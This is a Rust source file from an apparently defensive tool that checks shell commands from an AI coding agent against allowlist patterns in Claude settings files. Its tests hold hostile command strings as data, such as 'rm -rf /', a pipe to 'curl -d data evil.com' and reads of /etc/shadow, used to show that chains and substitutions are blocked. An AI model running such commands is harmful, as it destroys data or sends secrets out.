Skip to main content

safe_chains/
allowlist.rs

1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7    exact: HashSet<String>,
8    globs: Vec<Vec<String>>,
9}
10
11impl Matcher {
12    pub fn load() -> Self {
13        Self::load_with_project_dir(
14            std::env::var_os("CLAUDE_PROJECT_DIR")
15                .or_else(|| std::env::var_os("CWD"))
16                .as_deref()
17                .map(Path::new),
18        )
19    }
20
21    pub fn load_with_project_dir(project_dir: Option<&Path>) -> Self {
22        let mut patterns = Matcher {
23            exact: HashSet::new(),
24            globs: Vec::new(),
25        };
26
27        if let Some(home) = std::env::var_os("HOME") {
28            patterns.load_file(&Path::new(&home).join(".claude/settings.json"));
29        }
30
31        if let Some(dir) = project_dir {
32            let base = dir.join(".claude");
33            patterns.load_file(&base.join("settings.json"));
34            patterns.load_file(&base.join("settings.local.json"));
35        }
36
37        patterns
38    }
39
40    fn load_file(&mut self, path: &Path) {
41        let Ok(contents) = std::fs::read_to_string(path) else {
42            return;
43        };
44        let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
45            return;
46        };
47
48        if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
49            for entry in arr.iter().filter_map(|e| e.as_str()) {
50                self.add_pattern(entry);
51            }
52        }
53
54        if let Some(arr) = value
55            .get("permissions")
56            .and_then(|v| v.get("allow"))
57            .and_then(|v| v.as_array())
58        {
59            for entry in arr.iter().filter_map(|e| e.as_str()) {
60                self.add_pattern(entry);
61            }
62        }
63    }
64
65    fn add_pattern(&mut self, entry: &str) {
66        let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
67            return;
68        };
69        if inner.is_empty() {
70            return;
71        }
72        let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
73            format!("{prefix} *")
74        } else {
75            inner.to_string()
76        };
77        if normalized.contains('*') {
78            self.globs
79                .push(normalized.split('*').map(String::from).collect());
80        } else {
81            self.exact.insert(normalized);
82        }
83    }
84
85    pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
86        let Cmd::Simple(simple) = cmd else {
87            return false;
88        };
89        let normalized = check::normalize_for_matching(simple);
90        let normalized = normalized.trim();
91        if normalized.is_empty() {
92            return false;
93        }
94        if self.exact.contains(normalized) {
95            return true;
96        }
97        self.globs
98            .iter()
99            .any(|parts| glob_matches(parts, normalized))
100    }
101
102    pub fn is_empty(&self) -> bool {
103        self.exact.is_empty() && self.globs.is_empty()
104    }
105}
106
107pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
108    match cmd {
109        Cmd::Simple(_) => {
110            check::is_safe_cmd(cmd)
111                || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd))
112        }
113        _ => check::is_safe_cmd(cmd),
114    }
115}
116
117fn glob_matches(parts: &[String], text: &str) -> bool {
118    let first = &parts[0];
119    let last = &parts[parts.len() - 1];
120
121    if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
122        let prefix = &first[..first.len() - 1];
123        return text == prefix || text.starts_with(first.as_str());
124    }
125
126    if !text.starts_with(first.as_str()) {
127        return false;
128    }
129    if !text.ends_with(last.as_str()) {
130        return false;
131    }
132    let mut pos = first.len();
133    let end = text.len() - last.len();
134    if pos > end {
135        return false;
136    }
137    for part in &parts[1..parts.len() - 1] {
138        match text[pos..end].find(part.as_str()) {
139            Some(idx) => pos += idx + part.len(),
140            None => return false,
141        }
142    }
143    pos <= end
144}
145
146#[cfg(test)]
147mod tests {
148    use super::*;
149    use std::fs;
150
151    use crate::cst;
152
153    fn empty() -> Matcher {
154        Matcher {
155            exact: HashSet::new(),
156            globs: Vec::new(),
157        }
158    }
159
160    fn cmd(s: &str) -> Cmd {
161        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
162        assert_eq!(script.0.len(), 1, "expected single statement: {s}");
163        assert_eq!(
164            script.0[0].pipeline.commands.len(),
165            1,
166            "expected single command: {s}"
167        );
168        script.0[0].pipeline.commands[0].clone()
169    }
170
171    fn segments(command: &str) -> Vec<Cmd> {
172        let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
173        script
174            .0
175            .into_iter()
176            .flat_map(|stmt| stmt.pipeline.commands)
177            .collect()
178    }
179
180    fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
181        is_cmd_covered(cmd, patterns)
182    }
183
184    fn all_covered(command: &str, patterns: &Matcher) -> bool {
185        let Some(script) = cst::parse(command) else {
186            return false;
187        };
188        script.0.iter().all(|stmt| {
189            check::is_safe_pipeline(&stmt.pipeline)
190                || stmt
191                    .pipeline
192                    .commands
193                    .iter()
194                    .all(|c| is_cmd_covered(c, patterns))
195        })
196    }
197
198    #[test]
199    fn parse_exact_pattern() {
200        let mut p = empty();
201        p.add_pattern("Bash(npm test)");
202        assert!(p.exact.contains("npm test"));
203        assert!(p.globs.is_empty());
204    }
205
206    #[test]
207    fn parse_legacy_colon_star() {
208        let mut p = empty();
209        p.add_pattern("Bash(npm run:*)");
210        assert!(p.exact.is_empty());
211        assert_eq!(p.globs.len(), 1);
212    }
213
214    #[test]
215    fn parse_space_star() {
216        let mut p = empty();
217        p.add_pattern("Bash(npm run *)");
218        assert!(p.exact.is_empty());
219        assert_eq!(p.globs.len(), 1);
220    }
221
222    #[test]
223    fn parse_non_bash_skipped() {
224        let mut p = empty();
225        p.add_pattern("WebFetch");
226        p.add_pattern("XcodeBuildMCP");
227        assert!(p.is_empty());
228    }
229
230    #[test]
231    fn parse_empty_bash_skipped() {
232        let mut p = empty();
233        p.add_pattern("Bash()");
234        assert!(p.is_empty());
235    }
236
237    #[test]
238    fn match_exact() {
239        let mut p = empty();
240        p.add_pattern("Bash(npm test)");
241        assert!(p.matches_cmd(&cmd("npm test")));
242        assert!(!p.matches_cmd(&cmd("npm test --watch")));
243    }
244
245    #[test]
246    fn match_space_star_word_boundary() {
247        let mut p = empty();
248        p.add_pattern("Bash(ls *)");
249        assert!(p.matches_cmd(&cmd("ls -la")));
250        assert!(p.matches_cmd(&cmd("ls foo")));
251        assert!(!p.matches_cmd(&cmd("lsof")));
252    }
253
254    #[test]
255    fn match_star_no_space_no_boundary() {
256        let mut p = empty();
257        p.add_pattern("Bash(ls*)");
258        assert!(p.matches_cmd(&cmd("ls -la")));
259        assert!(p.matches_cmd(&cmd("lsof")));
260    }
261
262    #[test]
263    fn match_legacy_colon_star_word_boundary() {
264        let mut p = empty();
265        p.add_pattern("Bash(npm run:*)");
266        assert!(p.matches_cmd(&cmd("npm run build")));
267        assert!(p.matches_cmd(&cmd("npm run test")));
268        assert!(!p.matches_cmd(&cmd("npm running")));
269        assert!(!p.matches_cmd(&cmd("npm install")));
270    }
271
272    #[test]
273    fn match_star_at_beginning() {
274        let mut p = empty();
275        p.add_pattern("Bash(* --version)");
276        assert!(p.matches_cmd(&cmd("npm --version")));
277        assert!(p.matches_cmd(&cmd("cargo --version")));
278        assert!(!p.matches_cmd(&cmd("npm --help")));
279    }
280
281    #[test]
282    fn match_star_in_middle() {
283        let mut p = empty();
284        p.add_pattern("Bash(git * main)");
285        assert!(p.matches_cmd(&cmd("git checkout main")));
286        assert!(p.matches_cmd(&cmd("git merge main")));
287        assert!(!p.matches_cmd(&cmd("git checkout develop")));
288    }
289
290    #[test]
291    fn match_env_prefix_stripped() {
292        let mut p = empty();
293        p.add_pattern("Bash(bundle install)");
294        assert!(p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
295    }
296
297    #[test]
298    fn match_fd_redirect_stripped() {
299        let mut p = empty();
300        p.add_pattern("Bash(npm test)");
301        assert!(p.matches_cmd(&cmd("npm test 2>&1")));
302    }
303
304    #[test]
305    fn match_fd_redirect_with_glob() {
306        let mut p = empty();
307        p.add_pattern("Bash(npm run *)");
308        assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
309    }
310
311    #[test]
312    fn empty_patterns_match_nothing() {
313        let p = empty();
314        assert!(!p.matches_cmd(&cmd("anything")));
315    }
316
317    #[test]
318    fn match_bare_star_matches_everything() {
319        let mut p = empty();
320        p.add_pattern("Bash(*)");
321        assert!(p.matches_cmd(&cmd("anything at all")));
322        assert!(p.matches_cmd(&cmd("rm -rf /")));
323    }
324
325    #[test]
326    fn unsafe_syntax_not_bypassed_by_match() {
327        let mut p = empty();
328        p.add_pattern("Bash(./script.sh *)");
329        let c = cmd("./script.sh > /etc/passwd");
330        assert!(check::has_unsafe_syntax(&c));
331        assert!(!is_covered(&c, &p));
332    }
333
334    #[test]
335    fn command_substitution_not_bypassed_by_match() {
336        let mut p = empty();
337        p.add_pattern("Bash(./script.sh *)");
338        let c = cmd("./script.sh $(rm -rf /)");
339        assert!(!is_covered(&c, &p));
340    }
341
342    #[test]
343    fn mixed_chain_safe_plus_settings() {
344        let mut p = empty();
345        p.add_pattern("Bash(./generate-docs.sh)");
346        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
347    }
348
349    #[test]
350    fn mixed_chain_safe_plus_unapproved_denied() {
351        let mut p = empty();
352        p.add_pattern("Bash(./generate-docs.sh)");
353        assert!(!all_covered("cargo test && rm -rf /", &p));
354    }
355
356    #[test]
357    fn glob_does_not_cross_chain_boundary() {
358        let mut p = empty();
359        p.add_pattern("Bash(cargo test *)");
360        let cmds = segments("cargo test --release && rm -rf /");
361        assert_eq!(cmds.len(), 2);
362        assert!(p.matches_cmd(&cmds[0]));
363        assert!(!p.matches_cmd(&cmds[1]));
364        assert!(!all_covered("cargo test --release && rm -rf /", &p));
365    }
366
367    #[test]
368    fn glob_does_not_cross_pipe_boundary() {
369        let mut p = empty();
370        p.add_pattern("Bash(safe-cmd *)");
371        assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
372    }
373
374    #[test]
375    fn glob_does_not_cross_semicolon_boundary() {
376        let mut p = empty();
377        p.add_pattern("Bash(safe-cmd *)");
378        assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
379    }
380
381    #[test]
382    fn file_redirect_promoted_to_safewrite() {
383        let p = empty();
384        let c = cmd("echo > /etc/passwd");
385        assert!(is_covered(&c, &p));
386    }
387
388    #[test]
389    fn bare_star_blocked_by_unsafe_syntax_backtick() {
390        let mut p = empty();
391        p.add_pattern("Bash(*)");
392        assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
393    }
394
395    #[test]
396    fn bare_star_blocked_by_unsafe_syntax_command_sub() {
397        let mut p = empty();
398        p.add_pattern("Bash(*)");
399        assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
400    }
401
402    #[test]
403    fn safe_command_substitution_allowed_through_is_safe() {
404        let p = empty();
405        assert!(is_covered(&cmd("echo $(cat /etc/shadow)"), &p));
406    }
407
408    #[test]
409    fn nested_shell_not_recursively_validated_by_settings() {
410        let mut p = empty();
411        p.add_pattern("Bash(bash *)");
412        let c = cmd("bash -c 'safe-cmd && rm -rf /'");
413        assert!(!check::is_safe_cmd(&c));
414        assert!(!check::has_unsafe_syntax(&c));
415        assert!(is_covered(&c, &p));
416    }
417
418    #[test]
419    fn nested_shell_redirect_promoted_to_safewrite() {
420        let p = empty();
421        let c = cmd("bash -c 'echo hello' > /tmp/out");
422        assert!(is_covered(&c, &p));
423    }
424
425    #[test]
426    fn quoted_operators_stay_as_one_segment() {
427        let mut p = empty();
428        p.add_pattern("Bash(./script *)");
429        assert!(all_covered("./script 'arg && rm -rf /'", &p));
430    }
431
432    #[test]
433    fn load_with_project_dir_reads_local_settings() {
434        let dir = tempfile::tempdir().unwrap();
435        let claude_dir = dir.path().join(".claude");
436        fs::create_dir_all(&claude_dir).unwrap();
437        fs::write(
438            claude_dir.join("settings.local.json"),
439            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
440        )
441        .unwrap();
442        let p = Matcher::load_with_project_dir(Some(dir.path()));
443        assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
444        assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
445        assert!(!p.matches_cmd(&cmd("./evil.sh")));
446    }
447
448    #[test]
449    fn load_with_project_dir_reads_both_settings_files() {
450        let dir = tempfile::tempdir().unwrap();
451        let claude_dir = dir.path().join(".claude");
452        fs::create_dir_all(&claude_dir).unwrap();
453        fs::write(
454            claude_dir.join("settings.json"),
455            r#"{"permissions":{"allow":["Bash(cargo install:*)"]}}"#,
456        )
457        .unwrap();
458        fs::write(
459            claude_dir.join("settings.local.json"),
460            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
461        )
462        .unwrap();
463        let p = Matcher::load_with_project_dir(Some(dir.path()));
464        assert!(p.matches_cmd(&cmd("cargo install --path .")));
465        assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
466    }
467
468    #[test]
469    fn load_with_no_project_dir_skips_project_settings() {
470        let p = Matcher::load_with_project_dir(None);
471        assert!(!p.matches_cmd(&cmd("./generate-docs.sh")));
472    }
473
474    #[test]
475    fn load_with_project_dir_chains_with_builtins() {
476        let dir = tempfile::tempdir().unwrap();
477        let claude_dir = dir.path().join(".claude");
478        fs::create_dir_all(&claude_dir).unwrap();
479        fs::write(
480            claude_dir.join("settings.local.json"),
481            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
482        )
483        .unwrap();
484        let p = Matcher::load_with_project_dir(Some(dir.path()));
485        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
486        assert!(!all_covered("cargo test && ./evil.sh", &p));
487    }
488
489    #[test]
490    fn load_file_nonexistent() {
491        let mut p = empty();
492        p.load_file(Path::new("/nonexistent/path/settings.json"));
493        assert!(p.is_empty());
494    }
495
496    #[test]
497    fn load_file_malformed_json() {
498        let dir = tempfile::tempdir().unwrap();
499        let path = dir.path().join("settings.json");
500        std::fs::write(&path, "not json{{{").unwrap();
501        let mut p = empty();
502        p.load_file(&path);
503        assert!(p.is_empty());
504    }
505
506    #[test]
507    fn load_file_approved_commands() {
508        let dir = tempfile::tempdir().unwrap();
509        let path = dir.path().join("settings.json");
510        fs::write(
511            &path,
512            r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
513        )
514        .unwrap();
515        let mut p = empty();
516        p.load_file(&path);
517        assert!(p.matches_cmd(&cmd("npm test")));
518        assert!(p.matches_cmd(&cmd("npm run build")));
519        assert!(!p.matches_cmd(&cmd("curl evil.com")));
520    }
521
522    #[test]
523    fn load_file_permissions_allow() {
524        let dir = tempfile::tempdir().unwrap();
525        let path = dir.path().join("settings.json");
526        fs::write(
527            &path,
528            r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
529        )
530        .unwrap();
531        let mut p = empty();
532        p.load_file(&path);
533        assert!(p.matches_cmd(&cmd("cargo test")));
534        assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
535    }
536
537    #[test]
538    fn load_file_both_fields() {
539        let dir = tempfile::tempdir().unwrap();
540        let path = dir.path().join("settings.json");
541        fs::write(
542            &path,
543            r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
544        )
545        .unwrap();
546        let mut p = empty();
547        p.load_file(&path);
548        assert!(p.matches_cmd(&cmd("npm test")));
549        assert!(p.matches_cmd(&cmd("cargo test --release")));
550    }
551}